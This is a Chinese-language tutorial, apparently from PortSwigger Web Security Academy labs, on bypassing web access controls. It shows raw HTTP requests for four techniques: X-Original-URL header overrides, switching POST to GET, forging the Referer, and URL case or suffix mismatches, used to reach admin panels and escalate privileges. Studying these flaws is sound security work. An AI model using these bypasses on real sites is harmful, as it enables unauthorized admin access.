Bypass Access Control

存取控制常見的饒過機制有

  • 使用請求頭饒過存取限制
  • 使用不同請求方法饒過存取限制
  • 修改refer饒過存取限制
  • URL 匹配差異導致存取控制失效

使用請求頭饒過存取限制

一些應用程式可能會阻擋一些位置,例如DENY: POST, /admin/deleteUser, managers。但如果應用程式框架如果支援各種非標準HTTP 標頭,這些標頭可用於覆寫原始請求中的URL,例如X-Original-URLX-Rewrite-URL,因此可能可以繞過存取限制

系統依賴X-Original-URL做為判斷來源的結果,只要改變此位置就能騙過系統,而得到admin入口

例如,前端己經阻擋/admin這個位置,因此請求時為返回存取被拒

############### request ##################
GET /admin HTTP/2

############### response ##################
HTTP/2 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 15

"Access denied"

由於己經知道目標網站支持X-Original-URL,因此使用以下方法饒過存取限制,看到管理後台

############### request ##################
GET / HTTP/2
Host: 0a700091040178fe80a27bf700ea00ac.web-security-academy.net
X-Original-Url: /admin
...omit...

############### response ##################
...omit...
Admin panel
...omit...

Lab: URL-based access control can be circumvented


使用不同請求方法饒過存取限制

某些網站在執行操作時可支持不同的 HTTP 請求方法,如果POST請求被限制,可以嘗試使用GET請求

例如,目標網站分析後發現提權是透過admin-roles請求搭配action=upgrade。非管理員carlos登入後,如果想嘗試自己用action=upgrade功能提昇權限,會返回未授權無法成功如下

############### request ##################
POST /admin-roles HTTP/2
Host: 0abf002c0389fb3b81bb0dc7009900af.web-security-academy.net
Cookie: session=mKzLj3PBS2h3826hYnRncTEUaRIiHePI
...omit...
username=carlos&action=upgrade

############### response ##################
...omit...
"Unauthorized"

但改變成GET方法後,就可以成功,如下

GET /admin-roles?username=carlos&action=upgrade HTTP/2
Host: 0abf002c0389fb3b81bb0dc7009900af.web-security-academy.net
Cookie: session=mKzLj3PBS2h3826hYnRncTEUaRIiHePI
...omit...

############### response ##################
HTTP/2 302 Found
Location: /admin
...omit...

Lab: Method-based access control can be circumvented


修改refer饒過存取限制

有些網站使用refer做為檢查機制,如果refer不符合要求,不允許該請求

根據觀察發現目標網站提權請求用admin-roles,非管理者wiener登入後使用此請求會被拒絕

GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0abf002c0389fb3b81bb0dc7009900af.web-security-academy.net
Cookie: session=mKzLj3PBS2h3826hYnRncTEUaRIiHePI
...omit...

############### response ##################
...omit...
"Unauthorized"

根據觀察發現目標網站請求admin-roles上一個位置是/admin,因此要在refer加入此位置才可饒過。非管理者wiener登入後,需將refer加入admin位置,即可成功提權如下

GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0abf002c0389fb3b81bb0dc7009900af.web-security-academy.net
Cookie: session=mKzLj3PBS2h3826hYnRncTEUaRIiHePI
...omit...
refer: 0abf002c0389fb3b81bb0dc7009900af.web-security-academy.net/admin

############### response ##################
HTTP/2 302 Found
Location: /admin
...omit...

Lab: Referer-based access control


URL 匹配差異導致存取控制失效

在某些情況,以下是等同的,如果目標只限制一種存取位置,那可以試另一個位置嘗試饒過

/admin/deleteUser
/admin/deleteUser/
/ADMIN/DELETEUSER

如果在spring啟用useSuffixPatternMatch,以下是同等的,spring5.3之前默認啟用。

/admin/deleteUser.anything
/admin/deleteUser